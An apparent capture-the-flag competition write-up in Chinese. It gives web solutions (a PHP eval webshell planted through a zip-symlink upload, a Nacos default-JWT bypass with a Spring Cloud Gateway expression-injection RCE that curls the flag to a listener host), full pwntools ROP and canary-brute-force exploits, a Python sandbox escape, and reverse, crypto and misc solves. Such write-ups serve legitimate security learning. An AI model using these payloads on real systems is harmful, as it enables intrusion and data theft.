文章目录
- Web
- unzip
- dumpit
- BackendService
- Pwn
- 烧烤摊儿
- funcanary
- shell web go
- Reverse
- ezbyte
- babyre
- Crypto
- 基于国密SM2算法的密钥密文分发
- 可信度量
- Sign_in_passwd
- Misc
- 签到卡
- 被生产加密的流量
- 国粹
- pyshell
Web
unzip
ln -s /var/www/html/ webshell
zip -ry webshell.zip webshell
curl url/upload.php -F"[email protected]"
mkdir 123
cd 123
mkdir webshell
echo '<?php @eval($_POST[1]);?>' > webshell/1.php
zip -ry webshell.zip webshell
curl url/upload.php -F"[email protected]"
curl url/1.php -d "1=system('cat /flag');"
dumpit
这个dump调用了系统命令的mysqldump,这个db参数又可控,直接写报错信息到指定位置搜索flag
/?db=\<\?\=phpinfo\(\)?\> 2> log/p.php&table_2_dump=
BackendService
Nacos结合Spring Cloud Gateway RCE
参考https://xz.aliyun.com/t/11493 首先登录平台利用nacos的默认JWT key bypass平台的认证
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
生成jwt
得到payload
{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ0ZXN0IiwiZXhwIjoxNjc1MDgzODc3fQ.RIPoLpY9y_gf1VL8Cv_UxrYuVXjXItbD61DX2nZBsOo","tokenTtl": 18000,"globalAdmin": true,"username":"test"}
然后就是利用test进行登录
抓取返回包,改返回包状态码跟body,状态码改200,body改成上面的payload
放行就能登录,然后就是里面的RCE
先查看他的bootstrap.yml
文件
里面有他支持的格式内容用到的name是backcfg、文件的类型是json
这个文件拿来改成json格式,然后在服务器上监听
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb://backendservice",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','http://xxx.xxx.xx.xxx:9999','-F','file=@/flag'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}
配置列表那边新增配置 Data ID为backcfg
然后发布,监听就能收到flag
Pwn
烧烤摊儿
先去功能1 把啤酒购买数量变负数 在扣钱的时候 等于是在加钱
金额满足了 先进入功能4 满足功能5条件
可以进入功能5 打溢出 + ropchain
from pwn import *
io = remote("123.56.238.150", 24576)
# io = process("./shaokao")
# 先去功能1 把啤酒购买数量变负数 在扣钱的时候 等于是在加钱
io.sendlineafter(b'> ', b'1')
io.sendline(b'1')
io.sendline(b'-10000')
# 金额满足了 先进入功能4 满足功能5条件
io.sendlineafter(b'> ', b'4')
io.sendlineafter(b'> ', b'5')#可以进入功能5 打溢出 + ropchain
# ropgadget --binary 文件路径 --ropchain
p = b''
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall
payload = cyclic(0x20+8) + p
io.sendline( payload)
io.interactive()
funcanary
- 有后门函数 0x1231可以执行 system(“/bin/cat flag”)
- 开启了canary防溢出保护
核心思路是 爆破canary 然后劫持返回地址 跳转执行后门函数
from pwn import *
io = remote("123.56.236.235", 20899)
# io = process("./funcanary")
# 爆破canary 逐个字节爆破
canary = b'\x00'
for i in range(7):
for i in range(256):
io.sendafter("welcome\n",cyclic(0x68) + canary + p8(i))
recv = io.recvline()
if b"smashing" not in recv:
canary += p8(i)
break
# 低4位覆盖返回地址为后门函数:0x1231 开了pie 要把0x?231中的?爆破出来
for i in range(0x10):
retaddr = 0x0231 + i*0x1000
io.sendafter("welcome\n",cyclic(0x68)+canary+cyclic(8)+ p16(retaddr))
recv = io.recvline()
if b'flag' in recv:
log.info("flag找到")
break
io.interactive()
shell web go
ida 8.2 打开go写的elf文件
将我们得输入进行加密
然后可以看到
然后直接就是 先rc4加密 然后base64加密 这个时候我们就要获取我们加密得密文 直接 先base64解密 然后黑盒解出rc4解密 或者拿出密钥 然后直接内置解密就好
decry exp
import base64
from Crypto.Cipher import ARC4
b64_data = 'JLIX8pbSvYZu/WaG'
b64_Cipher_data = base64.b64decode(b64_data)
print(bytearray(b64_Cipher_data))
key = b'F1nallB1rd3K3y'
enc = ARC4.new(key)
res = enc.decrypt(b64_Cipher_data)
print(res)
然后程序会进入equal
这个函数存在溢出 然后就是普通的溢出打法
pwn sh
from pwn import *
import base64
# io = process("./pwn")
io = remote("123.56.135.185",29444)
key = "S33UAga1n@#!"
io.recvuntil("ciscnshell$ ")
io.sendline("cert nAcDsMicN " + key)
pop_rdi_ret_addr = 0x444fec
pop_rsi_ret_addr = 0x41e818
pop_rdx_ret_addr = 0x49e11d
pop_rax_ret_addr = 0x40d9e6
syscall = 0x40328c
pd = b"echo " + b"b" * 0x100 + b" " + b"b" * (0x123 - 0x20) + b"+" * (0x20)
pd += p64(pop_rdi_ret_addr) + p64(0)+ p64(pop_rsi_ret_addr) + p64(0xc000000000)+ p64(pop_rdx_ret_addr) + p64(8)+ p64(pop_rax_ret_addr) + p64(0)+ p64(syscall)+ p64(pop_rdi_ret_addr) + p64(0xc000000000)+ p64(pop_rsi_ret_addr) + p64(0)+ p64(pop_rdx_ret_addr) + p64(0)+ p64(pop_rax_ret_addr) + p64(0x3b)+ p64(syscall)
io.recvuntil("nightingale# ")
io.sendline(pd)
io.send("/bin/sh\x00")
io.interactive()
Reverse
ezbyte
静态分析,发现有input的调用,可以看出 输入的是一个 42位的字符串,但是除了这个函数就没有找到其他的函数对input进行判断了,开始动调
动态调试,看到,下面有一个 yes,猜测应该是正确后的输出,但是这里没有展示出来,并且想要进入到这个函数还有判断 r12等于0(因为 r13 通过异或变成了0)
参考: https://bbs.kanxue.com/thread-271891.htm#msg_header_h2_1 发现是 DWARF Expression
参考: http://43.138.162.163:8090/archives/2022-dsctfchu-sai-nothing-writeup
写出对应的脚本
通过rust脚本将其还原成 c代码
use std::{collections::HashMap, fs, fmt::Display, io::Write};
use std::process::Command;
use gimli::UnwindSection;
use object::{Object, ObjectSection};
fn main() -> Result<(), Box<dyn std::error::Error>> {
let mut arg = std::env::args();
if arg.len() != 2 {
panic!("Argument Error!")
}
let bin_data = fs::read(arg.nth(1).unwrap())?;
let obj_file = object::File::parse(&*bin_data)?;
let data = obj_file.section_by_name(".eh_frame").unwrap();
let eh_frame = gimli::read::EhFrame::new(data.data()?, gimli::LittleEndian);
let bases = gimli::BaseAddresses::default().set_eh_frame(data.address());
let mut entries = eh_frame.entries(&bases);
let mut file = fs::OpenOptions::new().append(false).truncate(true).write(true).create(true).open("./output.c")?;
writeln!(file, "#include <stdint.h>")?;
let mut cies = HashMap::new();
while let Some(entry) = entries.next()? {
if let gimli::CieOrFde::Fde(partial) = entry {
let fde = partial.parse(|_, bases, o| {
cies.entry(o)
.or_insert_with(|| eh_frame.cie_from_offset(bases, o))
.clone()
})?;
if fde.entry_len() < 100 {
continue;
}
let mut instructions = fde.instructions(&eh_frame, &bases);
use gimli::CallFrameInstruction::*;
loop {
match instructions.next() {
Err(e) => {
println!("Failed to decode CFI instruction: {}", e);
break;
}
Ok(Some(ValExpression {
register,
expression,
})) => {
println!(
"DW_CFA_val_expression ({}, ...)",
gimli::X86_64::register_name(register).unwrap_or("{unknown}")
);
display_val_expression(register, expression, &mut file)?;
}
Ok(None) => {
break;
}
_ => {}
}
}
}
}
file.flush()?;
Command::new("gcc")
.arg("-O3")
.arg("./output.c")
.arg("-c")
.spawn()?;
Ok(())
}
#[derive(Clone, Copy)]
struct Val {
id: u64,
}
impl Val {
fn new(id: u64) -> Self {
Val { id }
}
}
struct ValGenerator {
id: u64,
}
impl ValGenerator {
fn new() -> Self {
Self { id: 0 }
}
fn next(&mut self) -> Val {
self.id += 1;
Val::new(self.id - 1)
}
}
impl Display for Val {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "v{}", self.id)
}
}
fn display_val_expression<R>(target_reg: gimli::Register, exp: gimli::Expression<R>, w: &mut dyn Write) -> Result<(), Box<dyn std::error::Error>>
where
R: gimli::Reader,
{
let mut val_generator = ValGenerator::new();
let mut ops = exp.operations(gimli::Encoding { address_size: 8, format: gimli::Format::Dwarf64, version: 5 });
let mut stack: Vec<Val> = Vec::new();
writeln!(w, "uint64_t cal_{}(uint64_t r12, uint64_t r13, uint64_t r14, uint64_t r15){{", gimli::X86_64::register_name(target_reg).unwrap())?;
writeln!(w, " uint64_t rax=0,rbx=0;")?;
loop {
if let Ok(Some(op)) = ops.next() {
match op {
gimli::Operation::Drop => {
stack.pop();
}
gimli::Operation::Pick { index } => {
let val1 = stack.get(stack.len() - 1 - index as usize).unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={};", new_val, val1)?;
stack.push(new_val);
}
gimli::Operation::Swap => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
stack.push(val1);
stack.push(val2);
}
gimli::Operation::Rot => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let val3 = stack.pop().unwrap();
stack.push(val1);
stack.push(val3);
stack.push(val2);
}
gimli::Operation::And => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}&{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Minus => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}-{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Neg => {
let val = stack.get(stack.len() - 1).unwrap();
writeln!(w, " {}=-{};", val, val)?;
}
gimli::Operation::Not => {
let val = stack.get(stack.len() - 1).unwrap();
writeln!(w, " {}=~{};", val, val)?;
}
gimli::Operation::Or => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}|{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Plus => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}+{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::PlusConstant { value } => {
let val = stack.get(stack.len() - 1).unwrap();
writeln!(w, " {}+={}ull;", val, value)?;
}
gimli::Operation::Shl => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}<<{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Shr => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}>>{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Shra => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}=(uint64_t)((int64_t){}>>(int64_t){});", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Xor => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}^{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Eq => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}= {}=={}?1:0;", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Ge => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}>={}?1:0;", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Gt => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}>{}?1:0;", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Le => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}<={}?1:0;", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Lt => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}<{}?1:0;", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Ne => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}!={}?1:0;", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::UnsignedConstant { value } => {
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}ull;", new_val, value)?;
stack.push(new_val);
}
gimli::Operation::SignedConstant { value } => {
let new_val = val_generator.next();
writeln!(w, " uint64_t {}=(uint64_t){}ll;", new_val, value)?;
stack.push(new_val);
}
gimli::Operation::Register { register } => {
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={};", new_val, gimli::X86_64::register_name(register).unwrap_or("{error}"))?;
stack.push(new_val);
}
gimli::Operation::RegisterOffset { register, offset , .. } => {
let new_val = val_generator.next();
writeln!(w, " uint64_t {}=({}+{}ull);", new_val, gimli::X86_64::register_name(register).unwrap_or("{error}"), offset)?;
stack.push(new_val);
}
_ => todo!("{:?}", op)
}
} else {
break;
}
}
assert_eq!(stack.len(), 1);
writeln!(w, " return {};", stack.pop().unwrap())?;
writeln!(w, "}}\n")?;
Ok(())
}
得到转换后的c代码
#include <stdint.h>
uint64_t cal_r12(uint64_t r12, uint64_t r13, uint64_t r14, uint64_t r15){
uint64_t rax=0,rbx=0;
uint64_t v0=2616514329260088143ull;
uint64_t v1=1237891274917891239ull;
uint64_t v2=1892739ull;
uint64_t v3=(r12+0ull);
uint64_t v4=v2+v3;
uint64_t v5=v1^v4;
uint64_t v6=v0^v5;
uint64_t v7=8502251781212277489ull;
uint64_t v8=1209847170981118947ull;
uint64_t v9=8971237ull;
uint64_t v10=(r13+0ull);
uint64_t v11=v9+v10;
uint64_t v12=v8^v11;
uint64_t v13=v7^v12;
uint64_t v14=v6|v13;
uint64_t v15=2451795628338718684ull;
uint64_t v16=1098791727398412397ull;
uint64_t v17=1512312ull;
uint64_t v18=(r14+0ull);
uint64_t v19=v17+v18;
uint64_t v20=v16^v19;
uint64_t v21=v15^v20;
uint64_t v22=v14|v21;
uint64_t v23=8722213363631027234ull;
uint64_t v24=1890878197237214971ull;
uint64_t v25=9123704ull;
uint64_t v26=(r15+0ull);
uint64_t v27=v25+v26;
uint64_t v28=v24^v27;
uint64_t v29=v23^v28;
uint64_t v30=v22|v29;
return v30;
}
得到的c代码有点丑,直接编译,查看反编译后的代码
uint64_t __cdecl cal_r12(uint64_t r12_0, uint64_t r13_0, uint64_t r14_0, uint64_t r15_0)
{
return (r15_0 + 9123704) ^ 0x6336396431BE9AD9i64 | (r14_0 + 1512312) ^ 0x2D393663614447B1i64 | (r13_0 + 8971237) ^ 0x65342D6530C04912i64 | (r12_0 + 1892739) ^ 0x35626665394D17E8i64;
}
直接写exp
# 根据之前函数得到开头flag{ 和结尾 3861}
r15_0 = 0x6336396431BE9AD9 - 9123704
r14_0 = 0x2D393663614447B1 - 1512312
r13_0 = 0x65342D6530C04912 - 8971237
r12_0 = 0x35626665394D17E8 - 1892739
flag = 'flag{'
flag += bytes.fromhex(hex(r12_0).replace('0x', '')).decode()[::-1]
flag += bytes.fromhex(hex(r13_0).replace('0x', '')).decode()[::-1]
flag += bytes.fromhex(hex(r14_0).replace('0x', '')).decode()[::-1]
flag += bytes.fromhex(hex(r15_0).replace('0x', '')).decode()[::-1]
flag += '3861}'
print(flag)
babyre
打开xml文件,发现是 snap
进入app标签中对应网址
点击Run Snap
导入解压出的xml文件
点击lock可以看到加密算法
将对应的变量展示出来
点击左边这个模块,开始运行,拿到密文
exp
enc = [102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7,
28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30]
flag = ''
for i in range(1, len(enc)):
enc[i] ^= enc[i-1]
for i in range(len(enc)):
flag += chr(enc[i])
print(flag)
# flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}
Crypto
基于国密SM2算法的密钥密文分发
curl http://39.105.187.49:15721/api/login --data-urlencode "name=卢同学&school=XXXX大学"
请求ID
https://const.net.cn/tool/sm2/genkey/ 生成SM2公钥
curl http://39.105.187.49:15721/api/allkey -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8&publickey=EAE3EEF52E2696299C112F406D8F939D37CE77D69D0119E350CB72F1AD8C4FF02DADB9540BE6AA694CF5E98910C4CFE0DFFD676CC7798CBD7349048098EDB923"
curl http://39.105.187.49:15721/api/quantum -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8&publickey=EAE3EEF52E2696299C112F406D8F939D37CE77D69D0119E350CB72F1AD8C4FF02DADB9540BE6AA694CF5E98910C4CFE0DFFD676CC7798CBD7349048098EDB923"
curl http://39.105.187.49:15721/api/search -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8"
拿到quantumString
然后在请求
curl http://39.105.187.49:15721/api/check -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8&quantumString=a13fbc06c2e802ef99ef2a14bf4bab79"
然后再次请求
/api/search
curl http://39.105.187.49:15721/api/search -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8"
得到flag
flag{c1e1b81b-3fe2-46b1-b316-743376e251c4}
可信度量
非预期,直接从根目录检索flag{
关键字
grep -ra "flag{" /
Sign_in_passwd
base64换表
Misc
签到卡
根据公众号提示,直接输入print(open("/flag").read())
被生产加密的流量
modbus
前几个请求包的modbus.word_cnt
字段带有部分base32,提取出来:MMYWMX3GNEYWOXZRGAYDA=
flag{c1f_fi1g_1000}
国粹
a.png
和k.png
的长度是一样的,总共341张牌,牌的类型根据题目.png
总共有42
种,而题目.png
有两层,猜测第一层为Y轴
,第二层为X
轴
然后以a.png
和k.png
为坐标画图,总共341个坐标
先将所有牌按照题目.png
排序编号
一萬 1 二萬 2 三萬 3 四萬 4 五萬 5
六萬 6 七萬 7 八萬 8 九萬 9 一饼 10
二饼 11 三饼 12 四饼 13 五饼 14 六饼 15
七饼 16 八饼 17 九饼 18 幺鸡 19 二条 20
三条 21 四条 22 五条 23 六条 24 七条 25
八条 26 九条 27 東 28 南 29 西 30
北 31 中 32 發 33 白板 34 春 35
夏 36 秋 37 冬 38 梅 39 蘭 40
竹 41 菊 42
然后提取坐标数据,这里纯手工提取的(当时没有找到比较好的方法处理)
(1,4) (1,5) (1,10) (1,30) (2,3) (2,4) (2,5) (2,6) (2,10) (2,29) (2,30) (3,3) (3,4) (3,10) (3,16) (3,17) (3,22) (3,23) (3,24) (3,25) (3,29) (3,30) (4,2) (4,3) (4,4) (4,5) (4,10) (4,15) (4,16) (4,18) (4,21) (4,22) (4,24) (4,25) (4,29) (4,30) (5,3) (5,4) (5,10) (5,15) (5,17) (5,18) (5,19) (5,21) (5,22) (5,24) (5,28) (5,29) (6,3) (6,4) (6,10) (6,15) (6,16) (6,18) (6,19) (6,21) (6,22) (6,24) (6,29) (7,3) (7,4) (7,10) (7,11) (7,12) (7,13) (7,15) (7,18) (7,19) (7,22) (7,23) (7,24) (7,25) (7,29) (7,30) (8,3) (8,4) (8,11) (8,12) (8,15) (8,16) (8,17) (8,18) (8,19) (8,20) (8,25) (8,29) (8,30) (9,21) (9,22) (9,24) (9,25) (9,30) (9,31) (10,23) (10,24) (12,22) (12,23) (12,24) (12,25) (13,2) (13,3) (13,4) (13,5) (13,9) (13,10) (13,11) (13,12) (13,16) (13,17) (13,18) (13,19) (13,24) (13,25) (14,2) (14,5) (14,6) (14,9) (14,12) (14,19) (14,23) (14,24) (15,5) (15,9) (15,12) (15,18) (15,19) (15,22) (15,23) (16,4) (16,5) (16,9) (16,12) (16,17) (16,18) (16,23) (16,24) (17,3) (17,4) (17,9) (17,12) (17,16) (17,17) (17,24) (17,25) (18,3) (18,9) (18,12) (18,16) (18,25) (19,3) (19,4) (19,5) (19,6) (19,9) (19,10) (19,11) (19,12) (19,16) (19,17) (19,18) (19,19) (19,21) (19,22) (19,23) (19,24) (19,25) (20,10) (20,11) (22,3) (22,4) (22,5) (22,6) (22,10) (22,11) (22,12) (22,17) (22,18) (22,19) (22,24) (22,25) (23,3) (23,6) (23,7) (23,9) (23,10) (23,16) (23,17) (23,19) (23,20) (23,22) (23,23) (23,24) (23,25) (24,3) (24,6) (24,7) (24,9) (24,10) (24,16) (24,19) (24,20) (24,24) (24,25) (25,3) (25,6) (25,7) (25,10) (25,11) (25,12) (25,15) (25,19) (25,20) (25,24) (25,25) (26,3) (26,6) (26,7) (26,12) (26,13) (26,16) (26,19) (26,20) (26,24) (26,25) (27,3) (27,6) (27,7) (27,9) (27,12) (27,13) (27,16) (27,19) (27,20) (27,24) (27,25) (28,3) (28,4) (28,6) (28,9) (28,10) (28,11) (28,12) (28,16) (28,17) (28,19) (28,20) (28,24) (28,25) (29,4) (29,5) (29,17) (29,18) (29,19) (31,10) (31,11) (31,12) (31,13) (31,25) (31,31) (32,4) (32,5) (32,6) (32,10) (32,11) (32,12) (32,13) (32,17) (32,18) (32,19) (32,23) (32,24) (32,25) (32,26) (32,32) (33,3) (33,4) (33,6) (33,7) (33,12) (33,16) (33,17) (33,23) (33,24) (33,26) (33,32) (34,6) (34,7) (34,11) (34,16) (34,17) (34,23) (34,24) (34,26) (34,32) (35,6) (35,11) (35,12) (35,17) (35,18) (35,19) (35,23) (35,24) (35,25) (35,26) (35,33) (36,5) (36,12) (36,13) (36,19) (36,20) (36,26) (36,32) (37,4) (37,5) (37,13) (37,16) (37,19) (37,20) (37,25) (37,26) (37,32) (38,4) (38,5) (38,6) (38,7) (38,9) (38,10) (38,11) (38,12) (38,13) (38,16) (38,17) (38,18) (38,19) (38,24) (38,25) (38,31) (38,32) (39,23) (39,24) (39,31)
然后简单画出来就行
import matplotlib.pyplot as plt
with open('data.txt', 'r') as f:
data_list = f.read().split(' ')
for data in data_list:
data = eval(data)
plt.scatter(data[0], data[1], color='r')
plt.show()
flag{202305012359}
pyshell
利用_
拼接命令执行cat /f*
,注意每行限制长度7个字符
Welcome to this python shell,try to find the flag!
>>'__imp'
'__imp'
>>_+'ort'
'__import'
>>_+'__('
'__import__('
>>_+"'os"
"__import__('os"
>>_+"')."
"__import__('os')."
>>_+"sys"
"__import__('os').sys"
>>_+"tem"
"__import__('os').system"
>>_+"('c"
"__import__('os').system('c"
>>_+"at "
"__import__('os').system('cat "
>>_+"/f*"
"__import__('os').system('cat /f*"
>>_+"')"
"__import__('os').system('cat /f*')"
>>eval(_)
flag{043eb8a4-5f1a-482d-9f62-33a421ab4184}0
>>